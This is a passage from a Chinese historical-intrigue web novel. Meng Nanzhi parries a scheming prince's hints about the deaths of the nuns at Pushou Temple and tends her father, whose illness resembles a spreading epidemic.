后院是一个偌大的院子,伶人多数住在这里,几人共挤一间屋子。
而南院则是雅间,供来听曲儿的客人落座或小歇。
散客里没有沈朝昭,依照沈朝昭的性子,必然不会去后院。
孟南枝便直接去了雅间。
没有客套和犹豫,一脚踢开一个。
直到脚都踢得有些发疼,就差最后一间,却还没寻到女儿时,身后传来低沉的疑问声。
“南枝姐?”
孟南枝扭头,福身行礼,“奕王殿下。”
萧临渊身穿玄色暗纹锦衣,乌发用玉冠拢起,正唇角生笑地看着她。
“真是你?本王还以为看错了。”
孟南枝浅笑,佯装不知,“奕王殿下怎么在这里?”
萧临渊如拉家常道:“南枝姐你知道本王从小就喜欢听曲,所以少不了常来这里。”
孟南枝点头,看了眼他身后,“你自己?”
萧临渊喜欢听曲的原因,是因为他的母妃喜欢听曲。
那几位皇子都不喜欢听。
萧临渊便会拉着她这个外人分享。
“是啊。”萧临渊走到她身侧,打开她刚才正准备踢开的门,“本王平日就歇在这里,南枝姐是来寻人的?”
言罢,他率先走了进去。
雅间敞亮,正对门是一张桌案,两把椅子。
侧面是一面屏风和纱帘,模模糊糊地看不清里面。
孟南枝否认,“不是,走到这里随便看看。”
说话的同时,她顺势拉开纱帘,看了眼里面。
一张空床,被褥整齐。
没有被人躺过的痕迹。
不禁浅笑,“奕王殿下这雅间倒也别致。”
注意到她动作的萧临渊,嘴角弯了弯,“南枝姐这动作倒像是来找人的?你这真是第一次来?”
“就因为是第一次来,所以才到处看看。”
孟南枝沿着雅间转了一圈,没发现可以藏人的地方。
“那南枝姐应该多来两趟,你是不知道这里的曲儿有多好听,茶水有多香甜。”
萧临渊沏了杯茶,递给她。
“谢谢。”
孟南枝接过茶盏,却未喝,轻轻放置在桌案上,“不打扰奕王雅兴,我先回了。”
女儿既然不在这里,她得赶紧换个地方寻找。
萧临渊目光落在她未动的茶盏上,盯着茶面晃动的涟漪,语气幽深,“南枝姐,你这是在避着我,还是在恨我?”
孟南枝手指微僵,心思
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转换间,面色带了丝惶恐道:“奕王殿下怎么会这么想?臣女岂敢恨奕王殿下。”
不是恨,那便是避了?
萧临渊往她面前贴近了两步,呼吸几乎要触碰到她的额头。
“南枝姐,我们也算是从小一起长大,你以前对我都是直呼其名,唤我临渊的。”
“可自你这次回来后,每次见到我都紧绷着,不管是语气和态度,都恭谨得不像是你。”
孟南枝垂眉,尽量不去直视他的眼睛,“奕王殿下,臣女溺水后不记得前事,不管是对您,还是他人,始终想不出当初的熟悉。”
“为了不失礼节,避免出错,臣女只能以礼相待,并非是对您存在恨意,若是因此让奕王误会了臣女,还望奕王殿下莫要怪罪。”
言罢,她借着福礼的动作,微微后退一步,与萧临渊拉开些许距离,保持着恰到好处的恭敬。
萧临渊眸光微闪,轻轻转动左手板指。
片刻后,他状似无奈道:“南枝姐倒还是和以前一样巧言善辩,本王说不过你。”
“只是看到你如今对本王总是这般疏离客气,想起我们以前坦诚相处、两小无猜的模样,心中难免有些失落。”
“本王这两日还在想,是不是因为本王护着筝筝,惹了你的不痛快,这才让你记恨于本王。”
孟南枝尽量使自己的语气做到平和,“奕王殿下多想了。”
至于更多的话,她却没有多说。
她现在摸不清萧临渊的想法,也不知道刚才女儿到底有没有和他见面。
在不确定能彻底将他扳倒的情况下,孟南枝觉得还是尽量避免直接与他起冲突的好。
萧临渊眼瞧着她一直垂着眉,甚觉无趣。
转动板指后,再次开口,“南枝姐,本王昨日里听人说了一件事,不知道你想听不想听。”
“奕王殿下但说无妨。”
孟南枝蹙眉,他既然提起,必然是想让她听,哪有她想不想听的道理。
萧临渊低沉的声音透露着几丝哀伤。
“半月前,岚城弥岳山普寿寺,中了雷火。”
“里面的师尼,全**。”
第175章 跟你有关的,都**
孟南枝心神巨震。
眼眶微红,瞬间有了湿意。
喉间滚动了几次,才艰涩地开口,“奕王殿下所言可是真的?”
“本王也是昨夜回府路经礼部时,听礼部的当值人员提及,才知道此事。不过此事既然已经报到了礼部,想来应是真的。”
萧临渊坐下来,自顾抿了口茶,“南枝姐与曹侍郎相熟,本王还以为你已经知道了。如此看来,倒也不算是本王多嘴。”
孟南枝几不可查地蹙了下眉头,趁机再次提出离开之意。
“多谢奕王殿下告知此事,此事对臣女来说实属突然,臣女……”
然萧临渊似看出她的想法,根本不容她把话说完,便再次开口道:
“对了,南枝姐。你还记得当时在曹国公府,那个冒充普寿寺师尼,想要污蔑你这些年不在普寿寺的那个人吗?”
孟南枝点头,那个师尼当时被谢归舟的人带走。
她以为是关进了将军府,可前几天她去将军府的牢狱审问马夫黑水时,并未在里面见到那个师尼。
萧临渊放下茶盏,“她,也**。”
孟南枝抬目看他,“**的?”
“雨水太大,房屋倒塌,砸**。”
萧临渊将孟南枝放置在桌案上的茶盏重新递给她,微勾的嘴角看不出喜怒。
孟南枝接过茶盏,沉默下来。
“南枝姐,跟你溺水十年去了何处有关的人,都**。”萧临渊转动板指,意味深长,“你说,巧不巧?”
知道萧临渊一时不会让她离开,孟南枝便坐下来,轻轻抿了一口茶。
“要说巧,确实是有一点,但这天下之大,巧事不计其数,若都计较起来,未免有些草木皆兵了。”
这两件事加起来确实太过于凑巧。
巧得让人一眼都觉得不正常。
可孟南枝却并不想与萧临渊深谈。
萧临渊见她坐下,语气才放缓道:“南枝姐,我记得太傅曾经教导过我们,‘巧’字上为‘工’,指匠人之技艺;下为‘丂’,象弯曲之形,意为顺势而为。”
“善用巧合者,能借势破局;轻视巧合者,易因变数倾覆。巧合,从来都不是能用蛮力强求的,乃是技艺与时机的相融。”
“南枝姐,你说我们,怎么会相信巧合呢。”萧临渊为孟南枝添了茶水。
孟南枝盯着茶盏中的涟漪,沉思片刻后,抬眉道:“不知奕王殿下查到了什么?”
萧临渊道:“倒也谈不上是查到什么,只是多少知道一点消息罢了。”
“奕王殿下想要什么?”孟南枝指尖微握。
萧临渊面色佯怒,“南枝姐,你若这么想本王,本王便是真要生气了。自你回来,本王还未曾为你送过礼。”
“今日将所知之事说与你听,也算是我们阔别十年的见面礼吧。”
这礼,她孟南枝并不想要。
但,她还不能说。
只能憋屈地福身道:“如此,倒是多谢奕王殿下了。”
萧临渊颔首,盯着孟南枝看了几息,才道:“本王记得,太子侧妃身边有名暗卫,便是出自裕城。这名暗卫,还是当初国舅亲自为她选的。”
孟南枝抬眉,正对上萧临渊的眼睛。
那看不清情绪的眼眸里,似带着惋惜,“南枝姐,不知国舅可曾与你说起此事?”
孟南枝手指紧握,再松开,不在意地摇头,“今日还是第一次听说。”
萧临渊点头,“也是,这种事,确实不好说与你听。”
孟南枝将他添的茶水一口喝完,起身道:“奕王殿下,实不相瞒,臣女还有急事,不便久留,就此告辞。”
“好,南枝姐请。”
萧临渊这次没再拦她,并亲自将她送到了门口。
月芹和月满刚刚乘着马车赶过来,见到萧临渊连忙行礼,恭恭谨谨地不敢多话。
直到远离了兰雅馆,月芹才小声道:“夫人,姑娘回府了。”
孟南枝点头,“她怎么样?”
月芹道:“看起来心情很好,还给您带了灌汤包。”
确认女儿没事,孟南枝松了口气,“珩儿回去了吗?”
月芹摇头,“珩公子还没回来了。”
孟南枝蹙眉,回头看了眼兰雅阁的方向,低声道:“回府。”
几人回到孟府时,沈朝昭已经重新换了一身浅蓝色束腰劲装,在院子里有模有样地耍鞭。
见到孟南枝,立马收了鞭,“母亲,您这是去哪了?”
“有事出去转了一圈。”孟南枝抬手拿掉她发间的落叶。
“我给您带了灌汤包回来
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,是您最爱的刘氏灌汤包。”沈朝昭迎着她一起进了屋。
知夏将灌汤包端到孟南枝身前,还冒着热气。
她笑盈盈地说道:“夫人,您不知道,姑娘昨日问了奴婢和知秋一晚上您的喜好,这是她特地跑到城南,敲开店家的门,让刘掌柜做的。”
孟南枝看向女儿,满眼暖意,“那就多谢我家的宝贝朝昭了。”
沈朝昭不好意思地别开视线,“母亲,您快吃吧。”
孟南枝净了手,拿起知秋备好的银箸浅尝了口。
软香入胃,平缓不少情绪。
饭罢,孟南枝目光略过女儿已经清洗过,不加粉黛的小脸,轻笑道:“娇娇早上过来寻你,没等到你先走了。”
沈朝昭撇嘴,“我和她又不熟,她来寻我做什么?”
虽然陆筝筝入沈家族谱一事,沈娇娇确实出了力。
但沈朝昭不觉得沈娇娇因此就能与她交好了。
孟南枝垂眉理了理平展的衣角,“她走的时候说在兰雅馆看到你了,准备去那里寻一寻你。”
沈朝昭“嘭”的一声站起来,小脸涨红道:“我,我,她怎么就……我去找她去。”
女儿的状态,明显是心中有鬼。
孟南枝起身按住她的肩膀,让她坐下,“放心吧,她没去。你沈二祖母把她带回去了。”
“哦。”沈朝昭表情低落下来,把玩手指。
孟南枝低头看向她,“你真去了?见了奕王萧临渊?”
沈朝昭瞪大眼睛看向孟南枝,眼睛里全是被人撞见了的不可置信。
待确认母亲没有任何责怪之意后,才轻轻点头,又摇头,“我就是路过,好奇下去瞧了一瞧,正好遇见了他。”
“好。”
孟南枝温柔地替她捋了捋头发,没再追问。
虽然她知道,从孟府到城南刘氏灌汤包,与兰雅馆之间并不顺路。
……
而此时的兰雅馆。
雅间。
一名黑衣人跪地道:“主子,孟南枝出去后直接回了孟府,没有去任何地方,丫鬟仆人也无一人出府。”
“继续盯着。”
萧临渊摆手示意他下去。
轻轻转动板指,萧临渊嘴角深勾。
这么沉得住气。
之前,还真是小瞧了她。
第176章 父亲,您病了?
沈朝昭见母亲没有多问,反而有些心虚。
她轻咳了一声,声音低若如蚊,“母亲,你是不是不喜欢奕王?”
孟南枝没有回答,反问道:“昭儿喜欢奕王?”
她对萧临渊的恨和戒备,不好与女儿多说。
尤其是在她还不知道,女儿现在对萧临渊是什么样一种情感的状况下。
沈朝昭连忙涨红了脸,摆手道:“没有,没有,他有王妃了。”
女儿的这套说辞,孟南枝还算喜欢。
至少证明她现在还知道自己的身份,不可能给做小,也不会故意去抢别人。
想了想,孟南枝问道:“你和奕王妃相熟吗?”
孟南枝没有见过奕王妃,她溺亡的时候,奕王还未娶妃。
而且巨幕里对奕王妃的笔墨也不多,她可以说是萧临渊和陆筝筝情爱之路上的绊脚石,也可以说是一个无关紧要的工具人。
但,活到最后了。
就凭这点,孟南枝就不能做到完全忽略她。
沈朝昭点头,“奕王妃是南平侯家的长女,知书达理,为人和善,很得太后喜欢,待我也还可以。”
“她还教过我绣花,可是我根本就学不会。”
想起那个待她如姐姐一般的奕王妃,沈朝昭表情有些复杂。
孟南枝看了女儿一眼,沉思道:“她与奕王的感情如何?”
沈朝昭摇头,“不知道,奕王妃对奕王好像一直淡淡的,还不如她的……”
说到最后一句时,沈朝昭的声音低了点。
孟南枝没听清,“什么?”
沈朝昭似觉说多了,连忙摇头站起身。
“没什么,母亲,我刚耍鞭身上出了汗,去清洗一下,您先歇着,等我洗完再过来陪您聊。”
言罢,便小跑着进了自己的小院。
孟南枝失笑地摇了摇头,叫来观棋,嘱咐他去给父亲送药膳。
临到傍晚,昨日又是一夜未归,暂住官署的父亲孟正德回了府。
他双目熬得有些疲惫,身上带着倦气。
孟南枝温了布巾递给他,让他烫脸。
孟正德精神稍缓后,才低声道:“枝枝,你寻我回来可是因为普寿寺?”
是观棋在送饭时,说女儿让他今晚务必回府。
他一琢磨,便知是为了何事。
担心女儿着急,这才在忙完手头工作后,赶紧坐车回来。
孟南枝点头,声音微颤,“父亲,普寿寺当真是遇到了雷火,师尼全**?”
从萧临渊和她提及,她就一直在忍着。
没去寻礼部侍郎曹景行,更没去寻太子侧妃曹宛宁。
是因为她对萧临渊的话,始终抱着怀疑态度。
萧临渊的话或许是真,但目的绝对不纯。
她不能被他牵着走。
孟正德点头,声音带着沙哑的微沉,“是,昨日礼部刚得到岚城传来的消息,半月前普寿寺半夜遭遇雷火,寺内师尼无一生还。”
“那可是十六条人命。”
从父亲嘴里得到证实后,孟南枝心口直疼,泪如雨下。
虽然她一次都不曾去过岚城弥岳山普寿寺,可是关于那里的一草一木,一人一姓,她却背得滚瓜烂熟。
那一个个师尼的法号,外貌,都已生长在了她的记忆里。
仿若她真曾生活在那里。
慧聪师尼,年五十,面白眉上生痣,喜欢吃黄瓜拌葱泥。
慧兰师尼,年三十有二,人高肤黑,是个左撇子。
慧盈师尼,年二十有八,瘦小无力,经寺讲得特别好,但睡觉会磨牙。
慧南师尼,年十三,娇小可爱,长了个虎牙,最爱吃白菜。
慧宁师尼,……
孟南枝不敢想象这十六条人命,在雷火之中将会遭受多么大的痛苦。
如萧临渊所说,太巧了。
怎么可能在谢归舟提及她这十年生活在那里之后,没隔几日就直接中了雷火,全部**呢。
孟南枝捂住嘴,试图抑制住即将溢出的哭声。
但泪水却不受控制地一滴一滴地滑落,打湿了衣襟。
孟正德按住女儿的肩膀,道:“枝枝,此事现在还未查明是人为还是天灾,你无需自责。”
“父亲。”孟南枝喉间哽咽,想起萧临渊的话,如吞生
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铁。
“您知道的,这世上没有巧合,所有的巧合都可能是预谋。”
“即便是天灾,又怎么可能十六个人,一个都不剩。”
孟正德闻言,心中也是一阵酸楚。
他轻拍女儿的背,安慰道:“枝枝,此事并非是你的过错,不要把责任拦到自己身上。”
孟南枝摇头,忍以自忍。
“父亲,不是这样子的,不是的。”
“若当初不说我在那里,你说他们会不会就不会**?”
“那可是十六条活生生的人命啊,因为我,都是因为我……”
孟正德叹气,“枝枝,账不是这么算的,当时若是不那么说,该如何解释你这十年去了哪里?”
孟南枝摇头,“若早知道需要用十六条人命来换,我宁愿不要这名声。”
“枝枝,你冷静一点。”
孟正德将她按坐下来,“眼下事情已经发生,我们无力挽回。你现在要做的就是调整好心态,保重自己。”
“刑部已经安排了人去调查此事,若是天灾,那皆是命。若非天灾,为父也定不会让凶手逍遥法外。”
言罢,孟正德沏了一杯茶送到女儿嘴边。
孟南枝接过茶盏,双手握住,缓了好一会儿,才轻抿了两口咽下。
她调整情绪,勉强挤出一丝笑容,“父亲,我明白的。只是,我这心里,实在是难受得很。”
孟正德轻拍她的后背,如哄孩童般温柔,“父亲知道的,父亲都懂。”
他这女儿,虽说聪慧,但还是太过善良,心底过于柔软。
从女儿手中接过空盏,重新添了点茶水递给她。
孟正德又道:“枝枝,此事复杂,背后或许牵扯众多。你莫要再陷入自责与悲痛之中,当务之急,是保持冷静。”
“对方做出此事,是何目的,都需要慢慢调查,为父这几日忙于疫病,不便待在府上,你还是要打起精神的好。”
说到此处,孟正德抬手按住口鼻,轻轻地咳了两声。
孟南枝抬头,哭的双目通红的眼睛里满是担忧。
“父亲,您病了?”
第177章 他也是为了你
“无妨,只是喉咙有点干痒。”
怕女儿担心,孟正德轻按喉结,抑制住想要再次发出的轻咳。
孟南枝顾不得伤怀,连忙站起身子扶着他坐下,“父亲,我让观棋给您送的药,您可都喝了?”
“喝了。”孟正德示意她坐下,“我没事,你不用担心。”
“父亲,此次疫情或可扩大,您还是要多注意养好身体。”
眼下正值疫病发生,孟南枝又岂会不担心,连忙叫来观棋,让他去请洪太医。
孟正德没有拒绝女儿的心意,眸色郑重道:“枝枝,关于普寿寺被雷火击中一事,你是从何处知晓的?”
自古以来,只要涉及寺庙及雷火一事,帝王最是忌讳。
所以礼部在收到岚城传来的这则消息,在未能核实是否真为天灾前,立马下了封口令。
按理说,传不到女儿耳中。
“是奕王殿下告知于我。”孟南枝没有隐瞒。
孟正德皱眉,“他幼时与你也算亲近,但他到底是皇子。”
孟南枝为他添了茶,“父亲放心,女儿心中有数。”
萧临渊和她说及此事,心思必然不纯。
孟南枝不可能完全轻信他说的话。
但……
指尖轻捏茶柄,有句话,孟南枝不确定要不要问。
孟正德注意到女儿的小动作,将茶盏放下,鼓励道:“可是还有什么要问我?”
想了想,孟南枝觉得还是应该在父亲面前坦诚一点,便问道:“父亲,当初谢归舟提及我在普寿寺一事,是您安排的吗?”
孟正德看着女儿年轻的面容,暗叹口气,摇了摇头,“不是,我也是事后才得知此事。”
虽然他很想说是,但真的不是。
这件事,他没办法瞒女儿。
想法得到证实,孟南枝眼皮不受控制地跳动了两下。
孟正德又道:“枝枝,此事与屠戎将军无关,他当时也是为了你的清白考虑。”
不可否认,他对于谢归舟的适时解围是非常认可的。
事后还与谢归舟一起调取了普寿寺的资料,全部送到女儿的面前,让她强加记忆。
就是为了避免事后再被人问起,也好做到“证据”十足。
只是谁也没有想到,竟然会发生雷火一事。
孟南枝沉默片刻后,才微微点头,“女儿知道。”
只是萧临渊和她说的另一部分话,她不好和父亲提及。
而且父亲也不会知道。
观棋很快领着洪太医到来,孟南枝适时地转移了话题,让他赶紧给父亲看诊。
洪太医放下医箱,将手指搭在孟正德手腕上,片刻后猛地收回手。
他抬起因用力而泛白的指节,轻轻翻看孟正德的眼皮,又让他咳了几声,听其气息,眉头紧皱。
见洪太医神色如此凝重,孟南枝不禁整个心都提了起来,“洪太医,我父亲怎么样?”
洪太医半膝跪地,拱手道:“下官可能医学不精,觉得孟相这症状与城外疫病的早期症状有些类似。”
“你确定?”孟南枝站了起来。
她非常确认,巨幕中的父亲可并未感染疫病。
孟正德手指微颤,眸色却异常沉稳,面色平静道:“洪太医,据本官所知城外流民所得疫病的症状,除了发热、起咳,身上还会起红斑。”
“本官除了有些发咳,并未出现其他症状。依本官所见,本官应是风寒所致,你怎么就判断本官所病与疫病相似?”
孟正德并不认为自己得了疫病。
洪太医头也不敢抬,“回孟相,下官这些时日一直在研究疫病,这种疫病生在不同的人身上,所起的症状也不相同,但唯一相同便是脉相时虚时力。”
“下官也不敢确定孟相一定是得了疫病,只是觉得有些类似。下官,下官……”
见他吞吞吐吐,孟正德皱眉道:“你当如何?”
洪太医咬了咬牙,狠心道:“下官觉得,孟相症状虽轻,但还是不要轻视,以疫病之法加以防范为好。”
洪太医说罢,就差把头埋进膝盖里,等着孟正德的责斥。
然孟正德还未开口,孟南枝却率先问道:“我给你的方子,你研究得怎么样了?”
洪太医点头,“已经有了初步的突破,在来孟府之
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前,下官本打算拿着新出的几味药方,让太子府寻几个得病的流民试试新药。”
若非临时被观棋带来孟府,估计他此时已经到太子府了。
提到太子府,孟南枝便不可避免地想起萧临渊说的话。
她甩开思绪,微微颔首,“劳烦洪太医给我父亲开药吧。”
顿了顿,孟南枝语气重了几分,“洪太医知道我父亲生的是何病吧?”
正准备写药方的洪太医手指微僵,连忙俯身道:“孟相乃因劳累伤了正气,又染了风寒,这才致使乏力不适,咽喉堵塞,有轻咳之兆。”
“下官开几副药,孟相只需按时用药,闭门静卧,闭闭风寒,想是不过几日便可痊愈。”
孟南枝点头,示意他就按照此方写药。
洪太医写好后,孟南枝接过药方递给观棋,让他去太医院拿药。
接着又对洪太医抬了抬下巴,“病情文书。”
洪太医看了眼低眉不作声的孟正德。
不由肺腑,女儿奴啊女儿奴。
已经是堂堂右相的孟正德,在家里竟然还是全听女儿的。
虽然明知不对,但他却还是非常配合地按照刚才所述写了一份病情文书。
孟南枝接过病情文书,确认内容后,再次开口道:“继续。”
洪太医:?
抬头看清孟南枝所指,洪太医只得又低头写下一副全新的药方,双手递交到她手里。
“夫人,这里面有几副药,查得比较严。”
孟南枝点头。
她认得,其中两味药,是专门诊治疫病用的。
京都内各个药铺和药堂对此药都有管控。
只是,恰好她都有。
将药方收起来后,孟南枝正色道:“还要劳烦洪太医尽快研制出疫病之药。”
洪太医连忙拱手,“下官必当竭尽全力。”
人生啊。
悲惨啊。
他又一次“被迫”地与孟家绑到了一起。
还要帮孟相瞒着病情。
他上辈子怕不是孟家养的一条狗吧。
怎么每次遇到需要“证人证言”的时候,都会被他们牵着鼻子走。
第178章 林婉柔解禁
“枝枝,若我真得了疫病,不该瞒着。”
待洪太医离开后,一直未阻止女儿,任她安排的孟正德,轻声道。
“父亲,您只是风寒。”
孟南枝并不认可父亲的说法。
同时她也不信父亲会得疫病。
与其说不信,倒不如说她不敢信。
她不敢相信父亲若是真得了疫情,出了意外该怎么办。
孟正德叹气,他理解女儿的想法。
若是他站在女儿的角度,也会替女儿瞒着。
孟南枝看了眼父亲憔悴的面色,正色道:“父亲,您今日就别去官署了,病情文书我会让福伯替您送进宫。”
孟正德看了眼已经近晚的天色,只稍微犹豫了两息,便同意了。
他这两日确实觉得身子乏得很,是要好好休息。
他才把女儿盼回来,不能真把自己给搞垮了。
见父亲同意,孟南枝神色稍缓,立马嘱咐月芹和月满对父亲的院子进行石灰消杀。
并让刘嬷嬷带人去拿之前备好的草药。
因为此前不确定根治疫病的药方具体是什么,孟南枝把可能是的都买了。
管控的那些药,特地另外放了起来。
不管父亲如今的病情是不是疫病,既然洪太医敢说。
那孟南枝便觉得,有必要按照疫病的防范之法医治。
沈砚珩和江鱼直到天黑才有说有笑地赶回来。
得知外祖父因病在家歇息,忙禁了声,不敢高声言语。
孟南枝不由分说,让他们两个先去清洗,换了身干净衣服,才容他们用膳。
沈朝昭有些生气,“二哥,你们今日出去怎么不带上我?”
“我和江鱼出去那是有事做,再说京都你不是很熟了,还用跟着我们一起转悠?”沈砚珩笑着解释。
沈朝昭挑眉,“反正你出去没带我就是你不对。”
“别生气,看我给你带了什么?”沈砚珩从怀里掏出一本书递给她。
沈朝昭有些嫌弃,“什么啊,我才不喜欢看书。”
可当打她接过打开看清里面的内容后,却是一脸惊喜,“这是鞭法?二哥你从哪里弄来的?”
沈砚珩自得地笑道:“二哥虽然没带你出去,但二哥心里一直想着你,专门去给你寻了这鞭法,二哥厉不厉害,感不感动。”
“谢谢二哥。”沈朝昭如获似宝,一把抱住他,“二哥,我可太感动了,你真是我的好二哥。”
她以前也寻过鞭法,还让知夏去外面买了“武功秘籍”。
可惜,都是假的。
那里面的招式怎么练怎么别扭,还为此扭伤了腰。
沈砚珩见她这么诚心,反而有些不好意思,轻咳一声道:“其实,这鞭法,是江鱼赢来的。”
“啊?”
沈朝昭闻言看向江鱼。
那小子昨日里还嘲她鞭法不好,差劲得很。
孟南枝也顺着她的目光望去。
这才注意到江鱼的脖间有条青紫,像是鞭痕。
不由蹙眉道:“你们两个今日出去是和人打架去了?”
沈砚珩连忙摇头,解释道:“不是的,母亲,我们没和人打架。我们是和人切磋,对吧,江鱼,切磋。”
江鱼点头,“是的,江湖说法,是切磋武艺。”
“到底干什么去了?说清楚。”
孟南枝吩咐月芹把医箱拿过来,让她给江鱼上药。
沈砚珩道:“下午我和江鱼回来的时候,本来是想再去城西转一下,结果到了那边一个胡同口时,听到一家武馆里面在耍鞭。”
“江鱼说昭妹鞭法不好,去看看他们有没有鞭法,若是有,便借回来给昭妹学。”
“结果那家武馆不借,说什么鞭法概不外传,非要我妹拜他们为师。也不瞧瞧,他们都是什么身份,一群粗野汉子,也配让我妹拜师。”
孟南枝听到此处点了点头。
次子或许对那些人有偏见,但护妹之情却是没错的。
男女有别,昭儿大了,确实不便寻男子为师。
沈砚珩接着道:“我和江鱼与他们沟通不成,江鱼便以切磋为由,与他们班主较量,赢了就把鞭法给我们看几天。”
“输了呢?”见他不提,孟南枝故意问道。
“输了……”沈砚珩瞥开脸,“我们赢了啊,没输就不说了。”
他才不会和母亲说,输了就要从那群人的裤子底下钻过去。
虽然承诺是江鱼答应的,打架也是江鱼打的。
他可没答应。
但在母亲眼里,他估计是
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“同犯”,所以还是不让母亲知道的好。
见次子不说,孟南枝也没接着逼问。
协助月芹一起为江鱼抹上伤药,并柔声叮嘱,“你这两日小心点,别碰着伤口。”
“嗯。”
江鱼抬目盯着孟南枝的五官,与记忆中的脸相融合,有一瞬间的失神。
“你看什么呢?”
沈砚珩不高兴地往他头上拍了一巴掌。
江鱼看着母亲的眼神不对劲。
孟南枝闻言垂眸看了江鱼一眼,反过来拍了一下沈砚珩的脑袋。
“你怎么能动手**呢,江鱼许是想家人了。”
她看得明白,江鱼的眼睛里更多的是孺慕,还带了点思念。
联想到他上次说到想回家,应该就是想家了。
沈砚珩尴尬地笑了笑,“是他的头不小心碰到了我的手。”
江鱼对沈砚珩翻了个白眼。
人家护犊子,他护母。
合着跟谁都惦记着他母亲,会把他母亲抢走一样。
见江鱼不生气,孟南枝也没去刻意纠正他们两个的相处模式。
她将伤药递给月芹让她收起来后,非常正式地对江鱼道:“江鱼,谢谢。”
还有对不起。
为她曾经对他的怀疑。
江鱼愣了愣神。
孟南枝又把女儿拉到她对面,“昭儿,还不快和江鱼道声谢谢。”
沈朝昭双手捧着鞭法,非常诚恳地福了一礼,“朝昭谢过江鱼的礼物,我很喜欢。”
“我,我那也不过是举手之劳,而且那鞭法确实不错,对昭……对沈姑娘的武艺提升会有帮助。”
江鱼挠了挠头,一时有些手足无措,“要不,我先教你一段吧。”
“好啊。”沈朝昭将鞭法递给他,“你就先和我讲讲这第一式。”
沈砚珩也跟着凑热闹,“也教教我。”
三人说话间,便开始抬手对着那鞭法中的小人比画起来。
少年的心思总是简单,也很纯粹。
孟南枝欣慰地看着他们玩闹,失笑一声回了厅堂。
确认父亲已经喝药歇下后,她又叮嘱府上的每个人都喝了预防疫病的汤药。
临到睡前时,孟南枝得到曹宛清送来的消息。
林婉柔被解禁了。
第179章 孟父病情加重
林婉柔的父亲林则温亲自到刑部解释,是他让匠人做了与镇北侯一模一样的金簪。
三方口供一致。
陈大人只能以证据不足为由,解除林婉柔的处罚。
而那匠人却被查实做假帐,****。
依大洐律例,杖十五,罚银二百两。
对于这个结果,孟南枝心有预期,也不算意外。
毕竟林则温身为户部侍郎,不会眼睁睁看着女儿被判下私藏人嫁妆的罪名,定然会想尽办法为其脱罪。
孟南枝将纸条放在烛火上点燃,盯着火苗陷入沉思。
陆筝筝眼下还在狱中,不可能再如巨幕中一般提出疫情解救之法。
即使林婉柔被解禁,也已经失了先机。
眼下要防的,该是奕王萧临渊。
想起今日萧临渊和她说的话,孟南枝按了按额头。
谢归舟。
曹宛宁。
……
笠日,天晴。
孟南枝睡醒后第一时间去探望了父亲。
孟正德病情不仅未好,反而更加严重,身子还起了热。
孟南枝的心情瞬间跌入底谷,吩咐观棋去把洪太医叫来。
并嘱咐次子沈砚珩和女儿沈朝昭留在自己的院子,不得外出。
孟正德坐起身子,声音沙哑道:“枝枝,这里有阿福照看我就行了,你出去吧。”
他担心女儿会被他传染。
孟南枝摇头,“爹,由我看着,你会好得更快些。”
孟正德看着女儿固执的表情,失笑地咳了几声。
按住有些发疼的肺部,笑道:“难不成我的女儿一夜之间变成神仙了?只看着就能让为父好起来?”
“爹,你少取笑我,也别想赶我走。你若不好,我是不会放心出去的。”
孟南枝往他身后垫了块软枕让他舒服地靠着,并沏了温水递给他。
孟正德喝完温水,干疼的喉咙好受了许多。
看着女儿忙前忙后,心中慰贴,突然开口道:“我听刑部的人说,你把林婉柔告了,你母亲的遗物可拿回来了?”
他这些时日忙于公事,忽略了女儿,家里的事好多还是从别人嘴里知道。
“拿回来了。”
孟南枝点头,将烫好的布巾放在父亲的额头,为他散热。
孟正德沉默了几息,“你,拿给我看看。”
“好。”孟南枝转身吩咐月芹将她放在楼阁的鸽血石取过来。
孟正德将鸽血石握在手心,目光怀念,却露苦笑。
“这块宝石,原来是块吊坠,被你母亲随身戴着,我一直都知道,但却不知道这里面还会有字。”
孟南枝闻言朱唇动了动,却未说话。
母亲当年只在她面前演示过,还说这是她们娘俩的小秘密,不让她告诉父亲。
母亲走后,父亲又郁郁寡欢。
她不想父亲总是活在过去,所以也就将此事刻意隐藏了起来。
久而久之,自己都差点将此事淡忘了。
此次若非是林婉柔和陆筝筝故意当着她的面戴着这块宝石,孟南枝也不会当着外人的面演示她和母亲的秘密。
孟正德重重地咳了两声,语气消沉道:“你母亲是怎么和你说的?她的家人可还健在?”
孟南枝摇头,“父亲,母亲没提过,只说这块宝石她和她的兄长各有一块,其它的什么也没有说。”
孟正德闻言眸色沉重,重重地叹了一口气后,将鸽血石还给孟南枝。
“收好吧,别丢了。”
“嗯。”
孟南枝接过鸽血石放入怀中,看着父亲的表情,一时心中酸涩,不知该怎么劝慰。
她也不清楚母亲为什么要瞒着父亲。
好在洪太医来得及时,打破了他们父女间的沉默。
一番诊脉后,洪太医眉头紧锁。
“夫人,孟相现在起了热,跟疫病的症状更相似了。”
唯一不同的是,身上还未起红疹。
孟南枝打断他的话,“洪太医你昨日的方子可有效?”
洪太医面上露苦涩,“下官愚钝,暂时还未出效果。”
他昨日从孟府出去后,去太子府跟着幕僚去了城外,寻了几名同样症状的流民,同时喂了三种不同的新药。
其中两味新药,无功无过,流民吃了并没什
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么效果。
但其中一味新药,流民在食用新药后,病情加重,咳得反而更加严重了。
观棋去那他时,他刚被院首骂了一顿。
准备让他收拾东西回家呢。
孟南枝闻言眉头直皱。
这药方明明是巨幕中白纸黑字出现过的,为什么洪太医研制后反而不对。
难不成此事,非要陆筝筝来做才可以?
孟正德摆了摆手,“枝枝,你莫要担心。洪太医,将本官的病情如实报备太医院吧。”
洪太医闻言,先是看了孟南枝一眼。
毕竟他昨日可是按照孟南枝的意思写了风寒之症。
孟南枝沉默。
她昨日让洪太医写风寒之症,是她肯定父亲不会得疫病。
可今日父亲的病情明显严重。
若报太医院,父亲只怕会被立刻隔离起来。
届时朝中政敌定会借机生事,说父亲患了疫病会危及朝堂安稳。
情况严重的话,还会逼迫父亲辞官。
孟南枝不想父亲才重新入朝,就被打回原点。
孟正德重重地咳了一声,对儿女温和劝道:“枝枝,为父身为丞相,若真染了疫病,自当以身作则,不能隐瞒病情而危及他人。”
“况且,为父若不报备,等日后病情扩散,反而会落人口实。”
“可父亲,您这并非一定就是疫病。”
孟南枝还是不敢相信父亲所得就一定是疫病。
她尽量语气平稳道:“父亲,女儿也并未瞒着,您的这些症状,病情文书里已经如实记载,女儿也已经将文书送到了官署。”
孟正德按了按发干的喉咙,微微点头,“话虽如此,只是如今病情未明,为父心中实在难安。若真是疫病,只怕还要危及于你。”
他倒是不怕被朝官**。
他只担心自己若真得的是疫病,会传染女儿。
孟南枝摇头,眸光依旧坚定,“父亲,您只是风寒。”
